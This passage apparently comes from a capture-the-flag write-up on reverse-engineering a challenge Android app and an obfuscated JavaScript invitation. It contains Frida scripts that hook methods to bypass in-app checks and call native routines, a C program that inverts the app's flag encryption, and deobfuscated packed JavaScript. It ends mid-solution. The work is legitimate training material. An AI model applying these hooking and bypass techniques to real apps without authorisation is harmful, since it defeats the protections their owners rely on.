v12 = HIBYTE(v7) ^ 5;
Part of Native Library: messy

messy contains just XOR? What if its commutative?

What if we applied messy on the string 717f4cda287d40c47e7b50cb772b4def5a415387257510d1 from Web - Logged In?

Java.perform(function () {
  Java.scheduleOnMainThread(function () {
    const Activity = Java.use("sg.gov.tech.ctf.mobile.Admin.NetworkActivity");
    const act = Activity.$new();

    const enc = "717f4cda287d40c47e7b50cb772b4def5a415387257510d1"
      .match(/.{8}/g)
      .map((i) => parseInt(i, 16));

    let flag = "";
    for (const e of enc) {
      const out = act.messy(e, 8);
      const bytes = JSON.parse(JSON.stringify(out));

      // rotate to undo effects of `a`
      bytes.push(bytes.shift());

      for (const o of bytes) {
        flag += String.fromCharCode(o);
      }
    }

    console.log(flag);
  });
});

Running the script outputs govtech-csg{3nCrYp+_m3}.

All about Korovax!

As a user and member of Korovax mobile, you will be treated with a lot of information about COViD and a few in-app functions that should help you understand more about COViD and Korovax! Members should be glad that they even have a notepad in there, to create notes as they learn more about Korovax's mission!

We notice that sg.gov.tech.ctf.mobile.User.ViewActivity is defined but never actually shown.

public void onClick(View v) {
    if (ViewActivity.this.a() == 1720543) {
        c.a builder = new c.a(ViewActivity.this);
        View view = LayoutInflater.from(ViewActivity.this).inflate(R.layout.custom_alert, (ViewGroup) null);
        ((TextView) view.findViewById(R.id.title)).setText("Congrats!");
        ((TextView) view.findViewById(R.id.alert_detail)).setText(R.string.test);
        f.a.a.a.a.e.b.a().d(true);
        builder.h("Proceed", new C0075a());
        builder.f("Close", new b());
        builder.k(view);
        builder.l();
        return;
    }
    Toast.makeText(ViewActivity.this, "Something's happening...", 0).show();
    Toast.makeText(ViewActivity.this, "Maybe not.", 0).show();
}

public int a() {
    int retVal = new Random().nextInt();
    if (retVal < 0) {
        return retVal * -1;
    }
    return retVal;
}
sg.gov.tech.ctf.mobile.User.ViewActivity

It seems that if we can display this activity and make a() always return 1720543, something is displayed. This can be done through Frida:

Java.perform(function () {
  Java.scheduleOnMainThread(function () {
    const Intent = Java.use("android.content.Intent");
    const ViewActivity = Java.use("sg.gov.tech.ctf.mobile.User.ViewActivity");

    ViewActivity.a.implementation = function () {
      return 1720543; // magic number defined in apk
    };

    const ctx = Java.use("android.app.ActivityThread")
      .currentApplication()
      .getApplicationContext();

    const intent = Intent.$new(ctx, ViewActivity.class);
    intent.addFlags(268435456); // Intent.FLAG_ACTIVITY_NEW_TASK
    ctx.startActivity(intent);
  });
});

Clicking the button then prints a base64-encoded flag:

I've since learned that adb can start activities directly - https://developer.android.com/studio/command-line/adb#am

Task, task, task!

Korovax supports their members in many ways, and members can set task to remind themselves of the things they need to do! For example, when to wash their hands!
public native int checkFlag(String str, int i);

...

int flagStatus = TaskActivity.this.checkFlag(enteredFlagString, enteredFlagString.length());
if (flagStatus == 0 && TaskActivity.this.f2949c.getText().toString().matches("31/12/2019")) {
    c.a builder = new c.a(TaskActivity.this);
    View view = LayoutInflater.from(TaskActivity.this).inflate(R.layout.custom_alert, (ViewGroup) null);
    ((TextView) view.findViewById(R.id.title)).setText("Congrats!");
    ((TextView) view.findViewById(R.id.alert_detail)).setText("Well done!");
    builder.h("Proceed", new a());
    builder.f("Close", new C0069b());
    builder.k(view);
    builder.l();
    Toast.makeText(TaskActivity.this.getApplicationContext(), "Password is correct!", 0).show();
} else if (flagStatus == 2) {
    Toast.makeText(TaskActivity.this.getApplicationContext(), "Nice try, but that isn't it :)", 0).show();
} else if (flagStatus == 1) {
    Toast.makeText(TaskActivity.this.getApplicationContext(), "Password is wrong!", 0).show();
} else {
    Toast.makeText(TaskActivity.this.getApplicationContext(), "Something is wrong!", 0).show();
}
sg.gov.tech.ctf.mobile.Admin.TaskActivity

Lets take a look at what checkFlag does then:

signed __int64 __fastcall Java_sg_gov_tech_ctf_mobile_Admin_TaskActivity_checkFlag(__int64 a1, __int64 a2, __int64 a3, int a4, double a5, double a6, __m128 a7, __m128 a8, double a9, double a10, __m128 a11, __m128 a12)
{
  __int64 v12; // r14
  const char *v13; // rax
  __int64 v14; // rcx
  __int64 v15; // r8
  __int64 v16; // r9
  __m128 v17; // xmm4
  __m128 v18; // xmm5
  __m128 v19; // xmm1
  __m128 v20; // xmm0
  const char *v22; // rdx
  char v23; // [rsp+0h] [rbp-D8h]
  unsigned __int8 v24[16]; // [rsp+20h] [rbp-B8h]
  __int128 v25; // [rsp+30h] [rbp-A8h]
  char v26; // [rsp+40h] [rbp-98h]
  unsigned __int64 v27; // [rsp+C0h] [rbp-18h]

  v12 = a3;
  v27 = __readfsqword(0x28u);
  if ( a4 <= 0 || a4 & 3 )
    __android_log_print(6LL, "JNI", "%s", "Length error");
  v13 = (const char *)(*(__int64 (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)a1 + 1352LL))(a1, v12, 0LL);
  if ( (unsigned int)encrypt(v24, v13, 32) )
    __android_log_print(6LL, "JNI", "%s", "Encrypt error");
  v19 = (__m128)_mm_cmpeq_epi8(_mm_load_si128((const __m128i *)&v25), (__m128i)xmmword_35460);
  v20 = (__m128)_mm_and_si128(
                  _mm_cmpeq_epi8(_mm_load_si128((const __m128i *)v24), (__m128i)xmmword_35470),
                  (__m128i)v19);
  if ( _mm_movemask_epi8((__m128i)v20) == 0xFFFF )
  {
    v22 = "Nice try, but that isn't it :)";
  }
  else
  {
    v19 = (__m128)_mm_cmpeq_epi8(_mm_load_si128((const __m128i *)&v25), (__m128i)xmmword_35480);
    v20 = (__m128)_mm_and_si128(
                    _mm_cmpeq_epi8(_mm_load_si128((const __m128i *)v24), (__m128i)xmmword_35490),
                    (__m128i)v19);
    if ( _mm_movemask_epi8((__m128i)v20) != 0xFFFF )
      return _mm_movemask_epi8(
               _mm_and_si128(
                 _mm_cmpeq_epi8(_mm_load_si128((const __m128i *)v24), (__m128i)xmmword_354B0),
                 _mm_cmpeq_epi8(_mm_load_si128((const __m128i *)&v25), (__m128i)xmmword_354A0))) != 0xFFFF;
    v22 = "Nice try, but that isn't it too :)";
  }
  sub_10720((__int64)&v26, 128LL, (__int64)v22, v14, v15, v16, v20, v19, a7, a8, v17, v18, a11, a12, v23);
  __android_log_print(3LL, "JNI", "%s", &v26);
  return 2LL;
}
Native Library: checkFlag
  1. encrypt is called
  2. Compare 32 bytes (256 bits) against the data at xmmword_35460, failing if equal (Line 26 - 30)
  3. Compare 32 bytes against the data at xmmword_35480, failing again if equal (Line 36 - 39)
  4. Compare 32 bytes against the data at xmmword_35480, returning 0 if all equal (ie success)

Tl;dr: encrypt(flag) == xmmword_35480

__int64 __fastcall encrypt(unsigned __int8 *a1, const char *a2, signed int a3, __int64 a4)
{
  signed int v4; // er15
  const char *v5; // rdx
  _BYTE *v6; // rax
  _BYTE *v7; // rbx
  unsigned int v8; // er12
  __int64 v9; // rax
  int v10; // edx
  char v11; // cl

  v4 = a3;
  v5 = "Invalid length";
  if ( v4 <= 0 || v4 & 0x1F )
    goto LABEL_8;
  memset(a1, 0, v4);
  v6 = malloc(v4 + 1);
  if ( !v6 )
  {
    v5 = "Malloc error";
LABEL_8:
    __android_log_print(6LL, "JNI", v5, a4);
    return (unsigned int)-1;
  }
  v7 = v6;
  v8 = 0;
  memset(v6, 0, v4 + 1);
  v9 = 0LL;
  do
  {
    v10 = *(_DWORD *)&a2[v9] >> 24;
    *(_DWORD *)&v7[v9] = __ROL4__(*(_DWORD *)&a2[v9], 8);
    LOBYTE(v10) = v10 ^ 0x6C;
    a1[v9] = v10;
    v11 = v7[v9 + 1] ^ 0x33;
    a1[v9 + 1] = v11 ^ v10;
    LOBYTE(v10) = v7[v9 + 2];
    a1[v9 + 2] = v10 ^ v11 ^ 0x38;
    a1[v9 + 3] = v7[v9 + 3] ^ v10 ^ 0xF;
    v9 += 4LL;
  }
  while ( (signed int)v9 < v4 );
  return v8;
}
Native Library: encrypt

Based on the length of the data stored in memory and the check at the start of encrypt, we can assume that the flag has to be 32 characters.

The solution we chose was to reverse this encryption algorithm by hand:

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>

void dump(char *data, int len) {
  for (int i = 0; i < len; i++) {
    printf("%02X ", data[i]);
  }
  puts("");
}

void enc(char *data, char len, char *out) {
  int i = 0;
  char *work = malloc(len);

  if (work == NULL) {
    puts("malloc fail 2");
    return;
  }

  memset(out, 0, len);
  memset(work, 0, len);

  do {
    char v10 = (*(int32_t *) &data[i]) >> 24;    // v10 = *(_DWORD *)&a2[v9] >> 24;
    *(int32_t *) &work[i] = ((*(int32_t *) &data[i]) << 8) | ((*(int32_t *) &data[i]) >> 24); // *(_DWORD *)&v7[v9] = __ROL4__(*(_DWORD *)&a2[v9], 8);
    v10 ^= 0x6C;                          // LOBYTE(v10) = v10 ^ 0x6C;
    out[i] = v10;                         // a1[v9] = v10;
    char v11 = work[i + 1] ^ 0x33;        // v11 = v7[v9 + 1] ^ 0x33;
    out[i + 1] = v11 ^ v10;               // a1[v9 + 1] = v11 ^ v10;
    v10 = work[i + 2];                    // LOBYTE(v10) = v7[v9 + 2];
    out[i + 2] = v10 ^ v11 ^ 0x38;        // a1[v9 + 2] = v10 ^ v11 ^ 0x38;
    out[i + 3] = work[i + 3] ^ v10 ^ 0xF; // a1[v9 + 3] = v7[v9 + 3] ^ v10 ^ 0xF;

    // printf("work at %d: ", i);
    // dump(work+i, 4);
    i += 4;                               // v9 += 4LL;
  } while (i < len);
}

void dec(char *data, char len, char *out) {
  int i = 0;
  char *work = malloc(len);

  if (work == NULL) {
    puts("malloc fail 3");
    return;
  }

  memset(out, 0, len);
  memset(work, 0, len);

  do {
    char v10 = data[i];

    char v11 = data[i + 1] ^ 0x33;
    work[i + 1] = v11 ^ v10;
    v11 = work[i + 1] ^ 0x33;
    work[i + 2] = data[i + 2] ^ v11 ^ 0x38;
    work[i + 3] = data[i + 3] ^ work[i + 2] ^ 0xF;

    // printf("work at %d: ", i);
    // dump(work+i, 4);
    out[i + 3] = v10 ^ 0x6C;
    out[i] = work[i + 1];
    out[i + 1] = work[i + 2];
    out[i + 2] = work[i + 3];
    i += 4;
  } while (i < len);
}

#define len 12

unsigned char ucDataBlock[96] = {
	// Offset 0x00218208 to 0x00218303
	0x18, 0x61, 0x34, 0x4F, 0x09, 0x65, 0x1A, 0x72, 0x33, 0x64, 0x30, 0x62,
	0x11, 0x56, 0x2D, 0x24, 0x18, 0x4C, 0x03, 0x16, 0x41, 0x17, 0x0D, 0x04,
	0x17, 0x47, 0x1B, 0x1B, 0x33, 0x79, 0x3D, 0x35, 0x33, 0x61, 0x1A, 0x4A,
	0x59, 0x1E, 0x17, 0x56, 0x5F, 0x33, 0x64, 0x51, 0x11, 0x1D, 0x0B, 0x0F,
	0x18, 0x4C, 0x03, 0x16, 0x41, 0x17, 0x0D, 0x04, 0x17, 0x47, 0x1B, 0x1B,
	0x24, 0x47, 0x68, 0x4E, 0x28, 0x7C, 0x5C, 0x50, 0x33, 0x5F, 0x65, 0x50,
	0x5D, 0x20, 0x24, 0x3A, 0x11, 0x54, 0x4E, 0x1D, 0x18, 0x4C, 0x03, 0x16,
	0x41, 0x17, 0x0D, 0x04, 0x17, 0x47, 0x1B, 0x1B, 0x33, 0x69, 0x3D, 0x3D
};

void main() {
  // char *out = malloc(len);

  // if (out == NULL) {
  //   puts("malloc fail 1");
  //   return;
  // }

  // char test_data[len] = {'g', 'o', 'v', 't', 'e', 'c', 'h', 'c', 's', 'g', '!', '!'};
  // enc(test_data, len, out);

  // char *out2 = malloc(len);
  // dec(out, len, out2);

  // dump(test_data, len);
  // dump(out, len);
  // dump(out2, len);

  char *out = malloc(32);
  dec(ucDataBlock, 32, out);
  puts(out);
  dec(ucDataBlock+32, 32, out);
  puts(out);
  dec(ucDataBlock+64, 32, out);
  puts(out);
}

The original encryption algorithm was also implemented - this allows us to check if our decryption algorithm is correct since decrypt(encrypt(input)) == input should be true.

This returns multiple flags, of which the last is valid (after rotating it).

Ju5t_N3ed_2_tRy}govtech-csg{yOu_
ap5_th15_0n3???}govtech-csg{P3rH
g0oD_1n_NaT1v3!}govtech-csg{i_m_

Reverse Engineering

An Invitation

We want you to be a member of the Cyber Defense Group! Your invitation has been encoded to avoid being detected by COViD's sensors. Decipher the invitation and join in the fight!

We're given a HTML file and two JavaScript files. Running the HTML file, we see...an error.

Lets take a look at invite.js since the other appears to be a publicly available library jQuery LED.

var _0x3f3a=["\x2E\x47","\x71\x75\x65\x72\x79\x53\x65\x6C\x65\x63\x74\x6F\x72","\x77\x65\x62\x67\x6C","\x67\x65\x74\x43\x6F\x6E\x74\x65\x78\x74","\x63\x6C\x65\x61\x72\x43\x6F\x6C\x6F\x72","\x63\x6C\x65\x61\x72","\x73\x68\x61\x64\x65","\x67\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65","\x74\x79\x70\x65","\x73\x6C\x69\x63\x65","\x69\x64","\x4B\x47","\x7C\x7C\x7C\x7C\x7C\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x76\x61\x72\x7C\x7C\x68\x68\x68\x7C\x7C\x7C\x7C\x66\x6F\x72\x7C\x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74\x7C\x69\x66\x7C\x6C\x65\x6E\x67\x74\x68\x7C\x65\x65\x65\x7C\x7C\x75\x75\x75\x7C\x7C\x6D\x6D\x6D\x7C\x7C\x7C\x63\x75\x73\x74\x6F\x6D\x7C\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65\x7C\x53\x74\x72\x69\x6E\x67\x7C\x76\x76\x76\x7C\x7C\x67\x67\x67\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x63\x61\x74\x4C\x45\x44\x7C\x74\x79\x70\x65\x7C\x7C\x63\x6F\x6C\x6F\x72\x7C\x7C\x72\x6F\x75\x6E\x64\x65\x64\x7C\x66\x6F\x6E\x74\x5F\x74\x79\x70\x65\x7C\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x5F\x63\x6F\x6C\x6F\x72\x7C\x65\x30\x65\x30\x65\x30\x7C\x73\x69\x7A\x65\x7C\x72\x65\x74\x75\x72\x6E\x7C\x7A\x7A\x7A\x7C\x46\x46\x30\x30\x30\x30\x7C\x76\x61\x6C\x75\x65\x7C\x73\x65\x65\x64\x7C\x79\x79\x79\x7C\x72\x72\x72\x7C\x7C\x6F\x6F\x6F\x7C\x73\x6C\x69\x63\x65\x7C\x74\x74\x74\x7C\x66\x61\x6C\x73\x65\x7C\x77\x69\x6E\x64\x6F\x77\x7C\x65\x6C\x73\x65\x7C\x79\x6F\x75\x7C\x69\x69\x69\x7C\x6C\x65\x74\x7C\x59\x4F\x55\x7C\x7C\x63\x6F\x6D\x70\x61\x72\x65\x7C\x30\x78\x66\x66\x7C\x7C\x7C\x32\x33\x7C\x72\x65\x7C\x68\x6F\x73\x74\x6E\x61\x6D\x65\x7C\x63\x6F\x6E\x73\x6F\x6C\x65\x7C\x7C\x7C\x35\x37\x7C\x70\x72\x6F\x74\x6F\x63\x6F\x6C\x7C\x66\x69\x6C\x65\x7C\x35\x34\x7C\x6C\x6F\x67\x7C\x6D\x61\x78\x7C\x4D\x61\x74\x68\x7C\x39\x38\x7C\x72\x65\x71\x75\x65\x73\x74\x41\x6E\x69\x6D\x61\x74\x69\x6F\x6E\x46\x72\x61\x6D\x65\x7C\x74\x72\x75\x65\x7C\x30\x42\x42\x7C\x30\x30\x7C\x38\x38\x7C\x30\x39\x7C\x30\x46\x5A\x7C\x30\x32\x7C\x30\x44\x7C\x30\x36\x48\x44\x7C\x30\x33\x53\x7C\x33\x31\x7C\x67\x65\x74\x7C\x6E\x65\x77\x7C\x49\x6D\x61\x67\x65\x7C\x4F\x62\x6A\x65\x63\x74\x7C\x64\x65\x66\x69\x6E\x65\x50\x72\x6F\x70\x65\x72\x74\x79\x7C\x69\x64\x7C\x75\x6E\x65\x73\x63\x61\x70\x65\x7C\x69\x6E\x76\x69\x74\x65\x64\x7C\x32\x30\x30\x30\x7C\x70\x61\x74\x68\x6E\x61\x6D\x65\x7C\x63\x6F\x6E\x73\x74\x7C\x65\x63\x68\x7C\x7C\x73\x65\x74\x54\x69\x6D\x65\x6F\x75\x74\x7C\x57\x41\x4E\x54\x7C\x57\x45\x7C\x63\x75\x73\x74\x6F\x6D\x33\x7C\x63\x75\x73\x74\x6F\x6D\x32\x7C\x49\x4E\x56\x49\x54\x45\x44\x7C\x52\x45\x7C\x63\x75\x73\x74\x6F\x6D\x31\x7C\x64\x65\x62\x75\x67\x67\x65\x72\x7C\x31\x30\x30\x30\x7C\x69\x6E\x76\x69\x74\x65\x7C\x74\x68\x65\x7C\x61\x63\x63\x65\x70\x74\x69\x6E\x67\x7C\x61\x6C\x65\x72\x74\x7C\x54\x68\x61\x6E\x6B\x7C\x69\x6E\x64\x65\x78\x4F\x66\x7C\x67\x6F\x7C\x31\x31\x38\x7C\x33\x56\x33\x6A\x59\x61\x6E\x42\x70\x66\x44\x71\x35\x51\x41\x62\x37\x4F\x4D\x43\x63\x54\x7C\x6C\x65\x61\x48\x56\x57\x61\x57\x4C\x66\x68\x6A\x34\x7C\x61\x74\x6F\x62","\x74\x6F\x53\x74\x72\x69\x6E\x67","\x72\x65\x70\x6C\x61\x63\x65","\x78\x3D\x5B\x30\x2C\x30\x2C\x30\x5D\x3B\x31\x43\x20\x59\x3D\x28\x61\x2C\x62\x29\x3D\x3E\x7B\x56\x20\x73\x3D\x27\x27\x3B\x64\x28\x56\x20\x69\x3D\x30\x3B\x69\x3C\x31\x65\x2E\x31\x64\x28\x61\x2E\x67\x2C\x62\x2E\x67\x29\x3B\x69\x2B\x2B\x29\x7B\x73\x2B\x3D\x71\x2E\x70\x28\x28\x61\x2E\x65\x28\x69\x29\x7C\x7C\x30\x29\x5E\x28\x62\x2E\x65\x28\x69\x29\x7C\x7C\x30\x29\x29\x7D\x46\x20\x73\x7D\x3B\x66\x28\x75\x2E\x31\x39\x3D\x3D\x27\x31\x61\x3A\x27\x29\x7B\x78\x5B\x30\x5D\x3D\x31\x32\x7D\x53\x7B\x78\x5B\x30\x5D\x3D\x31\x38\x7D\x66\x28\x59\x28\x52\x2E\x75\x2E\x31\x34\x2C\x22\x54\x27\x31\x33\x20\x31\x7A\x21\x21\x21\x22\x29\x3D\x3D\x31\x79\x28\x22\x25\x31\x45\x25\x31\x6A\x25\x31\x71\x25\x31\x37\x25\x31\x70\x25\x31\x6F\x25\x31\x6E\x25\x31\x6D\x25\x31\x6C\x25\x31\x69\x40\x4D\x22\x29\x29\x7B\x78\x5B\x31\x5D\x3D\x31\x6B\x7D\x53\x7B\x78\x5B\x31\x5D\x3D\x31\x72\x7D\x36\x20\x4B\x28\x29\x7B\x37\x20\x6A\x3D\x51\x3B\x37\x20\x47\x3D\x31\x74\x20\x31\x75\x28\x29\x3B\x31\x76\x2E\x31\x77\x28\x47\x2C\x27\x31\x78\x27\x2C\x7B\x31\x73\x3A\x36\x28\x29\x7B\x6A\x3D\x31\x68\x3B\x78\x5B\x32\x5D\x3D\x31\x62\x7D\x7D\x29\x3B\x31\x67\x28\x36\x20\x58\x28\x29\x7B\x6A\x3D\x51\x3B\x31\x35\x2E\x31\x63\x28\x22\x25\x63\x22\x2C\x47\x29\x3B\x66\x28\x21\x6A\x29\x7B\x78\x5B\x32\x5D\x3D\x31\x66\x7D\x7D\x29\x7D\x3B\x4B\x28\x29\x3B\x36\x20\x4E\x28\x4A\x29\x7B\x37\x20\x6D\x3D\x5A\x3B\x37\x20\x61\x3D\x31\x31\x3B\x37\x20\x63\x3D\x31\x37\x3B\x37\x20\x7A\x3D\x4A\x7C\x7C\x33\x3B\x46\x20\x36\x28\x29\x7B\x7A\x3D\x28\x61\x2A\x7A\x2B\x63\x29\x25\x6D\x3B\x46\x20\x7A\x7D\x7D\x36\x20\x55\x28\x68\x29\x7B\x50\x3D\x68\x5B\x30\x5D\x3C\x3C\x31\x36\x7C\x68\x5B\x31\x5D\x3C\x3C\x38\x7C\x68\x5B\x32\x5D\x3B\x4C\x3D\x4E\x28\x50\x29\x3B\x74\x3D\x52\x2E\x75\x2E\x31\x42\x2E\x4F\x28\x31\x29\x3B\x39\x3D\x22\x22\x3B\x64\x28\x69\x3D\x30\x3B\x69\x3C\x74\x2E\x67\x3B\x69\x2B\x2B\x29\x7B\x39\x2B\x3D\x71\x2E\x70\x28\x74\x2E\x65\x28\x69\x29\x2D\x31\x29\x7D\x72\x3D\x31\x5A\x28\x22\x31\x58\x2F\x2F\x6B\x2F\x31\x59\x3D\x22\x29\x3B\x6C\x3D\x22\x22\x3B\x66\x28\x39\x2E\x4F\x28\x30\x2C\x32\x29\x3D\x3D\x22\x31\x56\x22\x26\x26\x39\x2E\x65\x28\x32\x29\x3D\x3D\x31\x57\x26\x26\x39\x2E\x31\x55\x28\x27\x31\x44\x2D\x63\x27\x29\x3D\x3D\x34\x29\x7B\x64\x28\x69\x3D\x30\x3B\x69\x3C\x72\x2E\x67\x3B\x69\x2B\x2B\x29\x7B\x6C\x2B\x3D\x71\x2E\x70\x28\x72\x2E\x65\x28\x69\x29\x5E\x4C\x28\x29\x29\x7D\x31\x53\x28\x22\x31\x54\x20\x54\x20\x64\x20\x31\x52\x20\x31\x51\x20\x31\x50\x21\x5C\x6E\x22\x2B\x39\x2B\x6C\x29\x7D\x7D\x64\x28\x61\x3D\x30\x3B\x61\x21\x3D\x31\x4F\x3B\x61\x2B\x2B\x29\x7B\x31\x4E\x7D\x24\x28\x27\x2E\x31\x4D\x27\x29\x2E\x76\x28\x7B\x77\x3A\x27\x6F\x27\x2C\x79\x3A\x27\x23\x48\x27\x2C\x43\x3A\x27\x23\x44\x27\x2C\x45\x3A\x31\x30\x2C\x41\x3A\x35\x2C\x42\x3A\x34\x2C\x49\x3A\x22\x20\x57\x27\x31\x4C\x20\x31\x4B\x21\x20\x22\x7D\x29\x3B\x24\x28\x27\x2E\x31\x4A\x27\x29\x2E\x76\x28\x7B\x77\x3A\x27\x6F\x27\x2C\x79\x3A\x27\x23\x48\x27\x2C\x43\x3A\x27\x23\x44\x27\x2C\x45\x3A\x31\x30\x2C\x41\x3A\x35\x2C\x42\x3A\x34\x2C\x49\x3A\x22\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x22\x7D\x29\x3B\x24\x28\x27\x2E\x31\x49\x27\x29\x2E\x76\x28\x7B\x77\x3A\x27\x6F\x27\x2C\x79\x3A\x27\x23\x48\x27\x2C\x43\x3A\x27\x23\x44\x27\x2C\x45\x3A\x31\x30\x2C\x41\x3A\x35\x2C\x42\x3A\x34\x2C\x49\x3A\x22\x20\x20\x20\x31\x48\x20\x31\x47\x20\x57\x21\x20\x20\x22\x7D\x29\x3B\x31\x46\x28\x36\x28\x29\x7B\x55\x28\x78\x29\x7D\x2C\x31\x41\x29\x3B","\x5C\x77\x2B","\x73\x68\x69\x66\x74","\x70\x75\x73\x68","\x30\x78\x32","\x7C","\x73\x70\x6C\x69\x74","\x30\x78\x34","","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x30\x78\x30","\x30\x78\x31","\x30\x78\x33","\x5C\x62","\x67"];try{canvas= document[_0x3f3a[1]](_0x3f3a[0]);gl= canvas[_0x3f3a[3]](_0x3f3a[2]);gl[_0x3f3a[4]](0.0,0.0,0.0,1.0);gl[_0x3f3a[5]](gl.COLOR_BUFFER_BIT);shade= canvas[_0x3f3a[7]](_0x3f3a[6]);ctype= canvas[_0x3f3a[7]](_0x3f3a[8]);cid= canvas[_0x3f3a[7]](_0x3f3a[10])[_0x3f3a[9]](5,7);gl[_0x3f3a[11]]= window[shade+ cid+ ctype]}catch(err){};var _0x55f3=[_0x3f3a[12],_0x3f3a[13],_0x3f3a[14],_0x3f3a[15],_0x3f3a[16]];(function(_0x92e4x2,_0x92e4x3){var _0x92e4x4=function(_0x92e4x5){while(--_0x92e4x5){_0x92e4x2[_0x3f3a[18]](_0x92e4x2[_0x3f3a[17]]())}};_0x92e4x4(++_0x92e4x3)}(_0x55f3,0x65));var _0x3db8=function(_0x92e4x2,_0x92e4x3){_0x92e4x2= _0x92e4x2- 0x0;var _0x92e4x4=_0x55f3[_0x92e4x2];return _0x92e4x4};var _0x27631a=_0x3db8;gl[_0x3f3a[11]](function(_0x92e4x5,_0x92e4x8,_0x92e4x9,_0x92e4xa,_0x92e4xb,_0x92e4xc){var _0x92e4xd=_0x3db8;_0x92e4xb= function(_0x92e4xe){var _0x92e4xf=_0x3db8;return (_0x92e4xe< _0x92e4x8?_0x3f3a[23]:_0x92e4xb(parseInt(_0x92e4xe/ _0x92e4x8)))+ ((_0x92e4xe= _0x92e4xe% _0x92e4x8)> 0x23?String[_0x3f3a[24]](_0x92e4xe+ 0x1d):_0x92e4xe[_0x92e4xf(_0x3f3a[25])](0x24))};if(!_0x3f3a[23][_0x92e4xd(_0x3f3a[26])](/^/,String)){while(_0x92e4x9--){_0x92e4xc[_0x92e4xb(_0x92e4x9)]= _0x92e4xa[_0x92e4x9]|| _0x92e4xb(_0x92e4x9)};_0x92e4xa= [function(_0x92e4x10){return _0x92e4xc[_0x92e4x10]}],_0x92e4xb= function(){var _0x92e4x11=_0x92e4xd;return _0x92e4x11(_0x3f3a[27])},_0x92e4x9= 0x1};while(_0x92e4x9--){_0x92e4xa[_0x92e4x9]&& (_0x92e4x5= _0x92e4x5[_0x92e4xd(_0x3f3a[26])]( new RegExp(_0x3f3a[28]+ _0x92e4xb(_0x92e4x9)+ _0x3f3a[28],_0x3f3a[29]),_0x92e4xa[_0x92e4x9]))};return _0x92e4x5}(_0x27631a(_0x3f3a[19]),0x3e,0x7c,_0x27631a(_0x3f3a[22])[_0x3f3a[21]](_0x3f3a[20]),0x0,{}))
invite.js

Ah. Packed JavaScript. If we were to run this through de4js (paste in the code and actually click "Auto Decode", it becomes readable:

gl.KG(function (_0x92e4x5, _0x92e4x8, _0x92e4x9, _0x92e4xa, _0x92e4xb, _0x92e4xc) {
    _0x92e4xb = function (_0x92e4xe) {
        return (_0x92e4xe < _0x92e4x8 ? '' : _0x92e4xb(parseInt(_0x92e4xe / _0x92e4x8))) + ((_0x92e4xe = _0x92e4xe % _0x92e4x8) > 35 ? String.fromCharCode(_0x92e4xe + 29) : _0x92e4xe.toString(36))
    };
    if (!'' ['replace'](/^/, String)) {
        while (_0x92e4x9--) {
            _0x92e4xc[_0x92e4xb(_0x92e4x9)] = _0x92e4xa[_0x92e4x9] || _0x92e4xb(_0x92e4x9)
        };
        _0x92e4xa = [function (_0x92e4x10) {
            return _0x92e4xc[_0x92e4x10]
        }], _0x92e4xb = function () {
            return '\\w+'
        }, _0x92e4x9 = 0x1
    };
    while (_0x92e4x9--) {
        _0x92e4xa[_0x92e4x9] && (_0x92e4x5 = _0x92e4x5.replace(new RegExp('\\b' + _0x92e4xb(_0x92e4x9) + '\\b', 'g'), _0x92e4xa[_0x92e4x9]))
    };
    return _0x92e4x5
}(`x=[0,0,0];1C Y=(a,b)=>{V s='';d(V i=0;i<1e.1d(a.g,b.g);i++){s+=q.p((a.e(i)||0)^(b.e(i)||0))}F s};f(u.19=='1a:'){x[0]=12}S{x[0]=18}f(Y(R.u.14,"T'13 1z!!!")==1y("%1E%1j%1q%17%1p%1o%1n%1m%1l%1i@M")){x[1]=1k}S{x[1]=1r}6 K(){7 j=Q;7 G=1t 1u();1v.1w(G,'1x',{1s:6(){j=1h;x[2]=1b}});1g(6 X(){j=Q;15.1c("%c",G);f(!j){x[2]=1f}})};K();6 N(J){7 m=Z;7 a=11;7 c=17;7 z=J||3;F 6(){z=(a*z+c)%m;F z}}6 U(h){P=h[0]<<16|h[1]<<8|h[2];L=N(P);t=R.u.1B.O(1);9="";d(i=0;i<t.g;i++){9+=q.p(t.e(i)-1)}r=1Z("1X//k/1Y=");l="";f(9.O(0,2)=="1V"&&9.e(2)==1W&&9.1U('1D-c')==4){d(i=0;i<r.g;i++){l+=q.p(r.e(i)^L())}1S("1T T d 1R 1Q 1P!\\n"+9+l)}}d(a=0;a!=1O;a++){1N}$('.1M').v({w:'o',y:'#H',C:'#D',E:10,A:5,B:4,I:" W'1L 1K! "});$('.1J').v({w:'o',y:'#H',C:'#D',E:10,A:5,B:4,I:"                 "});$('.1I').v({w:'o',y:'#H',C:'#D',E:10,A:5,B:4,I:"   1H 1G W!  "});1F(6(){U(x)},1A);`, 62, 124, '||||||function|var||hhh||||for|charCodeAt|if|length|eee||uuu||mmm|||custom|fromCharCode|String|vvv||ggg|location|catLED|type||color||rounded|font_type|background_color|e0e0e0|size|return|zzz|FF0000|value|seed|yyy|rrr||ooo|slice|ttt|false|window|else|you|iii|let|YOU||compare|255|||23|re|hostname|console|||57|protocol|file|54|log|max|Math|98|requestAnimationFrame|true|0BB|00|88|09|0FZ|02|0D|06HD|03S|31|get|new|Image|Object|defineProperty|id|unescape|invited|2000|pathname|const|ech||setTimeout|WANT|WE|custom3|custom2|INVITED|RE|custom1|debugger|1000|invite|the|accepting|alert|Thank|indexOf|go|118|3V3jYanBpfDq5QAb7OMCcT|leaHVWaWLfhj4|atob'.split('|'), 0, {}))
Deobfuscated invite.js

Running this code still gives the same error about gl not being defined. Given the lack of clues on what gl.KG is supposed to be, we note that gl.KG is called with the output of the huge blob of JavaScript. If we were to replace gl.KG with console.log, we get the following:

